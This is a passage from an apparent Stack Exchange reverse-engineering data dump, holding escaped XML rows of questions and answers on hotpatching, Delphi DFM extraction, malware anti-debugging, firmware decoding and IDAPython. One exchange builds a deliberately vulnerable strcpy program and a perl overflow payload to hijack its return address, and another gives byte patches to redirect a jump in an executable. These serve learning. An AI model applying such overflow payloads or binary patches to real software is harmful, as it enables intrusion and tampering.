.\foo.txt    &#xA;foo.txt:1:u&#xA;my&#xA;my&#xA;foo.txt:4:bXkgu&#xA;foo.txt:5:bXkgu&#xA;my&#xA;my my&#xA;my my&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-10-08T08:12:34.887" LastActivityDate="2015-10-08T08:12:34.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11013" PostTypeId="2" ParentId="250" CreationDate="2015-10-03T07:54:27.030" Score="8" Body="&lt;p&gt;courtsey &lt;strong&gt;Hotpatching and the Rise of&#xA;Third-Party Patches&lt;/strong&gt; presentation at BlackHat USA 2006 by&#xA;&lt;strong&gt;Alexander &#xA;Sotirov&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What Is Hotpatching?&lt;/strong&gt;&#xA;Hotpatching is a method for modifying the behavior of an&#xA;application by modifying its binary code at runtime. It is a&#xA;common technique with many uses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•&#xA;debugging (software breakpoints)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•&#xA;runtime instrumentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•&#xA;hooking Windows API functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•&#xA;modifying the execution or adding new functionality to&#xA;closed-source applications&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•&#xA;deploying software updates without rebooting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•&#xA;fixing security vulnerabilities&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hotpatches&lt;/strong&gt; are generated by an automated tool that&#xA;compares the original and patched binaries. The functions that&#xA;have changed are included in a file with a .hp.dll extension.&#xA;When the hotpatch DLL is loaded in a running process, the first&#xA;instruction of the vulnerable function is replaced with a jump to&#xA;the hotpatch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;/hotpatch&lt;/strong&gt; compiler option ensures that the first instruction of&#xA;every function is a &#xA;&lt;strong&gt;mov &#xA;edi, &#xA;edi&lt;/strong&gt; &#xA;instruction that can be safely&#xA;overwritten by the hotpatch. Older versions of Windows are not&#xA;compiled with this option and cannot be hotpatched.&lt;/p&gt;&#xA;" OwnerUserId="11879" LastActivityDate="2015-10-03T07:54:27.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11015" PostTypeId="1" AcceptedAnswerId="11016" CreationDate="2015-10-03T17:21:45.270" Score="0" ViewCount="3898" Body="&lt;p&gt;Is it possible to retrieve .dfm file from a delphi executable. I have inherited Acrobyte projects(Indy Pity Crew) so before I reactivate the website(www.acrobyte.cf) every product must be in order. I have updated others except the three left. So since I have a software that converts .dfm to .pas I can update them. I have seen the software that extracts DFM data from a delphi executable, in form of .rc and .dat but I never been able to add a function that extract the whole DFM file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I extract the whole dfm file of an executable e.g( pet.exe to pet.dfm)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other ways I would like to convert rc file to dfm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13366" LastEditorUserId="13366" LastEditDate="2015-10-04T04:51:48.307" LastActivityDate="2018-05-16T17:48:48.163" Title="How to extract .dfm file from a delphi executable?" Tags="|delphi|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11016" PostTypeId="2" ParentId="11015" CreationDate="2015-10-03T18:48:57.360" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/crypto2011/IDR&quot; rel=&quot;nofollow noreferrer&quot;&gt;Interactive Delphi Reconstructor&lt;/a&gt;, &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/DeDe&quot; rel=&quot;nofollow noreferrer&quot;&gt;DeDe&lt;/a&gt;, and &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/DE_Decompiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;DE Decompiler&lt;/a&gt; can all be used to extract DFMs from Delphi EXEs.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="60" LastEditDate="2018-05-16T17:48:48.163" LastActivityDate="2018-05-16T17:48:48.163" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="11017" PostTypeId="1" CreationDate="2015-10-04T11:10:01.747" Score="3" ViewCount="277" Body="&lt;p&gt;As part of my work, I'm debugging a malware found and his behavior is pretty basic after execution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Being executed&lt;/li&gt;&#xA;&lt;li&gt;Decrypt a lot of data from memory and obtain a new PE (from memory)&lt;/li&gt;&#xA;&lt;li&gt;Create a child process in suspended state&lt;/li&gt;&#xA;&lt;li&gt;Dump the new data obtained into the Created child process&lt;/li&gt;&#xA;&lt;li&gt;SetThreadContext&lt;/li&gt;&#xA;&lt;li&gt;ResumeThread&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now one issue i was thinking about, is the fact i dont know what the &lt;code&gt;EntryPoint&lt;/code&gt; is so i dont know what part of the memory bytes i would change to &lt;code&gt;EB FE&lt;/code&gt; (JMP &amp;lt; ToSelf &gt;) To be able to debug the process from the start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the new process is created and im attaching a debugger to it - OLLYDbg for that case (And the process is on &lt;em&gt;Pause&lt;/em&gt; state) Pressing &lt;code&gt;F8 - step over&lt;/code&gt; causing the application to have a huge delay of like 10 seconds untill the Opcode is finished - which makes no sense.&#xA;Also if i watch the newly created process on &lt;code&gt;Sysinternals - ProcessExplorer&lt;/code&gt; I can see that after i press F8 the CPU usage of that process is very high 50-90 for all that time, until the opcode is finished. Which also results in all of the computer to run very slowly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause that? and how would i be able to bypass that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not happen if i dont debug the process.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastActivityDate="2015-10-04T11:10:01.747" Title="Malware analysis - AntiDebugging - Malware slows down the PC while being debugged" Tags="|windows|ollydbg|malware|anti-debugging|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="11018" PostTypeId="1" CreationDate="2015-10-04T12:23:28.263" Score="2" ViewCount="241" Body="&lt;p&gt;Good morning/day/evening/night. I would like to know is it possible for absolute newbie which generally gifted with no talents and skills and generally sucks in everything he does(like myself) to learn reverse engineering? If it's rocket science or close to that and I have no hopes in learning it il understand... But i feel like I've gotta try. I do not expect to do amazing stuff right away or anything, just basic stuff for you know, everyday uses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My knowledge when it comes to computers, I understand its not much and im  pretty much braindead but who knows, maybe any of that is useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;14 years experience of using computer (first time used when i was 6 years old)&lt;/li&gt;&#xA;&lt;li&gt;Know how to turn on computer&lt;/li&gt;&#xA;&lt;li&gt;can use office programs&lt;/li&gt;&#xA;&lt;li&gt;used notepad++&lt;/li&gt;&#xA;&lt;li&gt;basic knowledge and understanding of HTML, CSS, JQuery library, Smarty template engine&lt;/li&gt;&#xA;&lt;li&gt;know how to replace parts of computer, except motherboard and the case&lt;/li&gt;&#xA;&lt;li&gt;basic photoshop knowledge&lt;/li&gt;&#xA;&lt;li&gt;know how to clear history/cache of browsers, also registry&lt;/li&gt;&#xA;&lt;li&gt;know how to defragment, reformat HDD&lt;/li&gt;&#xA;&lt;li&gt;know how to reinstall windows&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So is there a guide towards reverse engineering for a guy like me?&lt;/strong&gt; Also, just in case for those who wondering why i decided to learn it..well, I had vacation in my home village in summer, decided to move some games i had from my pc to laptop. so yeah and you know what? when i arrived there noticed all but one game werent working and trying to connect to steam! I was like..&quot;alright steam, you ruined my childhood, but now you screwed up my vacation, thats it!&quot;. Well, still had great time away from computer, you know, taking care of turkeys and goats, collecting vegetables, went to forest for some berries, mushrooms etc,didn't even noticed how fast vacation ended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whoops, apparently went a bit off-topic, sorry about that guys. Well as i said if anyone got any helpful links of how to learn it, I'd be grateful, also english is my 3rd language so sorry if i made some mistakes or something, thank you for your patience.&lt;/p&gt;&#xA;" OwnerUserId="13754" LastActivityDate="2015-10-05T06:46:38.960" Title="Any guides for absolute newbie to start?" Tags="|disassembly|debugging|" AnswerCount="1" CommentCount="1" ClosedDate="2015-10-05T09:34:36.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="11020" PostTypeId="1" AcceptedAnswerId="11021" CreationDate="2015-10-04T15:21:58.523" Score="5" ViewCount="2707" Body="&lt;p&gt;I understand the principles of exploiting a classical stack-based buffer-overflow, and now I want to practice it. Therefore I wrote the following test-application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;void public(char *args) {&#xA;    char buff[12];&#xA;    memset(buff, 'B', sizeof(buff));&#xA;&#xA;    strcpy(buff, args);&#xA;    printf(&quot;\nbuff: [%s] (%p)(%d)\n\n&quot;, &amp;amp;buff, buff, sizeof(buff));&#xA;}&#xA;&#xA;void secret(void) {&#xA;    printf(&quot;SECRET\n&quot;);&#xA;    exit(0);&#xA;}&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;    int uid;&#xA;    uid = getuid();&#xA;&#xA;    // Only when the user is root&#xA;    if (uid == 0)&#xA;        secret();&#xA;&#xA;    if (argc &amp;gt; 1) {&#xA;        public(argv[1]);&#xA;    }&#xA;    else&#xA;        printf(&quot;Kein Argument!\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the user which starts the program is &lt;em&gt;root&lt;/em&gt;, the method &lt;code&gt;secret()&lt;/code&gt; is being called, &lt;em&gt;otherwise&lt;/em&gt;, the method &lt;code&gt;public(...)&lt;/code&gt; is being called.&#xA;I am using debian-gnome x64, so I had to compile it specifically to x86 to get x86-assembly (which I know better than x64).&#xA;I compiled the program with gcc: &lt;code&gt;gcc ret.c -o ret -m32 -g -fno-stack-protector&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt;&#xA;I want to call the method &lt;code&gt;secret()&lt;/code&gt; without being a &lt;em&gt;root-user&lt;/em&gt;. &lt;em&gt;{To do that I have to overwrite the &lt;code&gt;R&lt;/code&gt;eturn &lt;code&gt;I&lt;/code&gt;nstruction &lt;code&gt;P&lt;/code&gt;ointer (&lt;code&gt;RIP&lt;/code&gt;) with the address of the function &lt;code&gt;secret()&lt;/code&gt;}&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt;&#xA;The method &lt;code&gt;public(...)&lt;/code&gt; copies the program-args with the unsafe &lt;code&gt;strcpy()&lt;/code&gt; method into the &lt;code&gt;char-array&lt;/code&gt; &lt;strong&gt;buff&lt;/strong&gt;. So it is possible to overwrite data on the stack, when the user starts the program with an &lt;em&gt;arg &gt; 11&lt;/em&gt;, where &lt;em&gt;arg&lt;/em&gt; should be the length of the string-arg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Required Information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The address of the function &lt;code&gt;secret()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The address of the first buffer's first element. Due to &lt;code&gt;ASCII&lt;/code&gt;-Encoding I know that each &lt;code&gt;char&lt;/code&gt; has a size of &lt;code&gt;1 byte&lt;/code&gt;, so that the buffer's last element is &lt;code&gt;12 bytes&lt;/code&gt; ahead the first element.&lt;/li&gt;&#xA;&lt;li&gt;The address of the &lt;code&gt;RIP&lt;/code&gt;, because I have to overwrite it &lt;code&gt;secret()&lt;/code&gt;s address.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;OPTIONAL: It also helps to know the address of the &lt;code&gt;S&lt;/code&gt;afed &lt;code&gt;F&lt;/code&gt;rame &lt;code&gt;P&lt;/code&gt;ointer (&lt;code&gt;SFP&lt;/code&gt;).&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Methodical approach:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Load the program into &lt;code&gt;gdb&lt;/code&gt;: &lt;code&gt;gdb -q ret&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;To get an overview of the full stack-frame of the method &lt;code&gt;public(...)&lt;/code&gt; I have to set a breakpoint there, where the &lt;code&gt;function-epilogue&lt;/code&gt; starts. This is at the enclosing brace &lt;code&gt;}&lt;/code&gt; at line &lt;code&gt;11&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now I have to run the program with a valid arg: &lt;code&gt;run A&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the breakpoint, I now want to view the stack-frame.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info frame 0&#xA;Stack frame at 0xffffd2f0:&#xA; eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c&#xA; called by frame at 0xffffd330&#xA; source language c.&#xA; Arglist at 0xffffd2e8, args: args=0xffffd575 &quot;A&quot;&#xA; Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0&#xA; Saved registers:&#xA;  ebp at 0xffffd2e8, eip at 0xffffd2ec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because from that I can gather the following information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;RIP&lt;/code&gt; is located at &lt;code&gt;0xffffd2ec&lt;/code&gt; and contains the address &lt;code&gt;0x804858c&lt;/code&gt; which contains the instruction &lt;code&gt;0x804858c &amp;lt;main+61&amp;gt;: add    $0x10,%esp&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;SFP&lt;/code&gt; is located at &lt;code&gt;0xffffd2e8&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now I need the address, where the &lt;code&gt;secret()&lt;/code&gt;-function starts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(gdb) print secret&#xA;$2 = {void (void)} 0x804852f &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Last, but not least I get the buffer's address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) print/x &amp;amp;buff&#xA;$4 = 0xffffd2d4&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To sum it up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;RIP&lt;/code&gt; is at &lt;code&gt;0xffffd2ec&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SFP&lt;/code&gt; is at &lt;code&gt;0xffffd2e8&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;buff&lt;/code&gt; is at &lt;code&gt;0xffffd2d4&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This means that I would have to run the program with &lt;code&gt;0xffffd2ec&lt;/code&gt; - &lt;code&gt;0xffffd2d4&lt;/code&gt; + &lt;code&gt;0x04&lt;/code&gt; = &lt;code&gt;28 bytes&lt;/code&gt; (= &lt;code&gt;char&lt;/code&gt;s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to exploit it I'd have to run the program with an arg which is &lt;code&gt;28 bytes&lt;/code&gt; long whereas the last &lt;code&gt;4 bytes&lt;/code&gt; contain the address of the function &lt;code&gt;secret()&lt;/code&gt; (and pay attention to little-endian-ordering):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run `perl -e '{print &quot;A&quot;x24; print &quot;\xec\d2\ff\ff&quot;; }'`&#xA;The program being debugged has been started already.&#xA;Start it from the beginning? (y or n) y&#xA;&#xA;Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print &quot;A&quot;x24; print &quot;\xec\d2\ff\ff&quot;; }'`&#xA;&#xA;buff: [AAAAAAAAAAAAAAAAAAAAAAAA�d2&#xA;                                  f&#xA;                                   f] (0xffffd2b4)(12)&#xA;&#xA;&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x0c3264ec in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Two questions are rising up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why is between &lt;code&gt;buff&lt;/code&gt; and the &lt;code&gt;SFP&lt;/code&gt; a &lt;code&gt;8-byte&lt;/code&gt; gap? What does this memory-area contain?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: &lt;a href=&quot;https://drive.google.com/file/d/0BxV4F9km7MRVa0RKOGk5T3c2UVE/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;That's&lt;/a&gt; a download-link to the binary.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13755" LastEditorUserId="1485" LastEditDate="2015-10-04T22:58:32.860" LastActivityDate="2015-10-04T23:49:54.853" Title="Writing an exploit for sample-application" Tags="|c++|gdb|c|exploit|stack|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11021" PostTypeId="2" ParentId="11020" CreationDate="2015-10-04T18:30:46.600" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's because you're overwriting the return address on the stack with &lt;code&gt;0xffffd2ec&lt;/code&gt; instead of &lt;code&gt;0x0804852f&lt;/code&gt; (the latter is the address for &lt;code&gt;secret()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you thus use &lt;code&gt;'{print &quot;A&quot;x24; print &quot;\x2f\85\04\08&quot;; }'&lt;/code&gt; instead, it should work.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Why is between &lt;code&gt;buff&lt;/code&gt; and the &lt;code&gt;SFP&lt;/code&gt; a &lt;code&gt;8-byte&lt;/code&gt; gap? What does this memory-area contain?&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That gap is probably because of attempted optimizations made by gcc. The memory-area contains nothing (well, technically it contains 8 bytes whose values are indeterminate) and the code in the &lt;code&gt;public()&lt;/code&gt; function neither reads from nor writes to that memory-area.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-10-04T23:49:54.853" LastActivityDate="2015-10-04T23:49:54.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11022" PostTypeId="1" AcceptedAnswerId="11023" CreationDate="2015-10-04T18:33:30.607" Score="-1" ViewCount="144" Body="&lt;pre&gt;&lt;code&gt; 005A45A6 &amp;gt; \83FE 50 CMP ESI,50 ; Switch (cases 0..50) &#xA; 005A45A9 0F87 79150000 JA AcroByte.005A5B28 &#xA; 005A45AF . FF24B5 B6455A00 JMP DWORD PTR DS:[ESI*4+5A45B6]; AcroByte.005A46FA &#xA;005A45B6 . FA465A00 DD AcroByte.005A46FA; Switch table used at 005A45AF &#xA; 005A45BA . 51475A00 DD AcroByte.005A4751 &#xA; 005A45BE . 7C475A00 DD      AcroByte.005A477C &#xA; 005A45C2 . 8B475A00 DD AcroByte.005A478B &#xA; 005A45C6 . 9A475A00 DD AcroByte.005A479A &#xA; 005A45CA . A9475A00 DD AcroByte.005A47A9 &#xA; 005A45CE . D4475A00 DD AcroByte.005A47D4 &#xA; 005A45D2 . ED475A00 DD AcroByte.005A47ED &#xA; 005A45D6 . 06485A00 DD AcroByte.005A4806 &#xA; 005A45DA . 4B485A00 DD AcroByte.005A484B &#xA; 005A45DE . E8485A00 DD AcroByte.005A48E8 &#xA; 005A45E2 . 3A495A00 DD AcroByte.005A493A &#xA; 005A45E6 . 8E495A00 DD AcroByte.005A498E &#xA; 005A45EA . 9A495A00 DD AcroByte.005A499A &#xA; 005A45EE . E1495A00 DD AcroByte.005A49E1 &#xA; 005A45F2 . 174A5A00 DD AcroByte.005A4A17 &#xA; 005A45F6 . 594A5A00 DD AcroByte.005A4A59 &#xA; 005A45FA . A34A5A00 DD AcroByte.005A4AA3 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need help on the above code, the JUMP at address 005A45AF is associated with 005A46FA.&#xA;I want it to be associated to 005A4AA3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is can I modify  DS:[ESI*4+5A45B6] to [ESI*4+5A4AA3] or the (4 between ESI and Address) also needs to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to jump to 005A4AA3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help it's memory not hardware I am patching&lt;/p&gt;&#xA;" OwnerUserId="13301" LastActivityDate="2015-10-04T18:45:47.063" Title="How to modify Data Section of an exe(DD x000455)?" Tags="|memory|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11023" PostTypeId="2" ParentId="11022" CreationDate="2015-10-04T18:45:47.063" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I really want to jump to 005A4AA3.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Patch the bytes at virtual address &lt;code&gt;005A45AF&lt;/code&gt; from &lt;code&gt;FF 24 B5 B6 45 5A 00&lt;/code&gt; to &lt;code&gt;E9 EF 04 00 00 90 90&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is can I modify DS:[ESI*4+5A45B6] to [ESI*4+5A4AA3]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, in which case you'd want to patch the bytes at virtual address &lt;code&gt;005A45AF&lt;/code&gt; from &lt;code&gt;FF 24 B5 B6 45 5A 00&lt;/code&gt; to &lt;code&gt;FF 24 B5 A3 4A 5A 00&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-04T18:45:47.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11024" PostTypeId="1" CreationDate="2015-10-04T23:16:05.397" Score="3" ViewCount="6209" Body="&lt;p&gt;How do I call the &lt;code&gt;user_cmts_*&lt;/code&gt; functions from the IDAPython API? I am quite new to the SDK and IDAPython, so I'm kind of lost as to what I'm supposed to pass to these functions, as it's not the user-friendliest docs imo. I tried passing a map as such for &lt;code&gt;user_cmts_begin&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;&#xA;def print_cmt(cmt):&#xA;   print cmt&#xA;&#xA;cumap = map(print_cmt, [some address here to test])&#xA;&#xA;idaapi.user_cmts_begin(cumap)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it throws a type error, so obviously I must be doing something wrong...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I've had to resort to doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import re&#xA;&#xA;addr = 0x80000000&#xA;&#xA;while addr &amp;lt; 0x80200000:&#xA;    cmt = idaapi.get_cmt(addr, 0) # get non-repeatable comment at current address/line&#xA;&#xA;    if cmt is not None: # skip if the line has no comment&#xA;        if re.search(&quot;insert regex for non-auto-generated comments here&quot;, cmt) is not None:&#xA;            print &quot;%08X: %s&quot; % (addr, cmt)&#xA;&#xA;    addr = idaapi.next_not_tail(addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The IDAPython docs can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone show an example?&lt;/p&gt;&#xA;" OwnerUserId="13518" LastActivityDate="2015-10-06T19:39:39.103" Title="Getting user comments with IDAPython API (user_cmts_*)?" Tags="|ida|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11025" PostTypeId="2" ParentId="11018" CreationDate="2015-10-05T06:46:38.960" Score="0" Body="&lt;p&gt;You should start with learning to &lt;strong&gt;understand&lt;/strong&gt; assembly (x86) ,next try learning using a debugger(start with ollydbg).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good resources are opensecuritytraining classes (you will get all the training videos the path you have to follow etc all for free) for learning to use ollydbg a good resource is lenas tutorials...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use two approaches :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1&gt;&lt;strong&gt;Learn on the fly approach&lt;/strong&gt; :Start directly with the tutorials and if you get stuck google it understand and then continue.You will have to dive deeper and deeper if you follow this approach i.e. if one gets stuck on CSS he googles and finds :CSS is a stylesheet language that describes the presentation of an HTML (or XML) document ,then you should google XML also if you dont know xml...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2&gt;&lt;strong&gt;Warm up approach&lt;/strong&gt;:Read the architecture and internals of the system you want to reverse,learn C ,write a few programs,learn asm,use a debugger ,debug your programs,then move on to the tutorials mentioned above...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly have patience this takes time and never let the curiosity to die...&lt;/p&gt;&#xA;" OwnerUserId="11879" LastActivityDate="2015-10-05T06:46:38.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11026" PostTypeId="1" CreationDate="2015-10-05T10:00:04.877" Score="1" ViewCount="1092" Body="&lt;p&gt;I'd like to have a peek at the firmware of a piece of Hardware. Its firmware is available as a .wav file to be uploaded via audio jack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/open?id=0B6S_PcWWM1YlQnNwT2FSMnFzVE0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=0B6S_PcWWM1YlQnNwT2FSMnFzVE0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it sure looks like straight forward frequency modulation. I think I can even make out a pattern: useful signal (8 waves, then 4 recurring waves as separator) and once in a while (didnt count the &quot;bytes&quot; inbetween) 0.5ms of unmodulated signal as a newline marker maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xBzjl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xBzjl.jpg&quot; alt=&quot;Zoomed out&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a software available to decode this? Or a name for me to start reading?&#xA;Got matlab ...&lt;/p&gt;&#xA;" OwnerUserId="13764" LastActivityDate="2015-11-02T14:03:32.380" Title="Firmware data in an audio file FM - How to demodulate?" Tags="|firmware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11028" PostTypeId="2" ParentId="2247" CreationDate="2015-10-05T16:01:33.607" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1499323441&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Art-PCB-Reverse-Engineering-Unravelling/dp/1499323441/ref=sr_1_1?ie=UTF8&amp;amp;qid=1444060514&amp;amp;sr=8-1&amp;amp;keywords=the+art+of+pcb+reverse+engineering&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This book got nice feedback on www.eevblog.com and on amazon.com, I'm not connected with author in any possible way, apart that I own book he wrote ;-)&lt;/p&gt;&#xA;" OwnerUserId="13765" LastActivityDate="2015-10-05T16:01:33.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
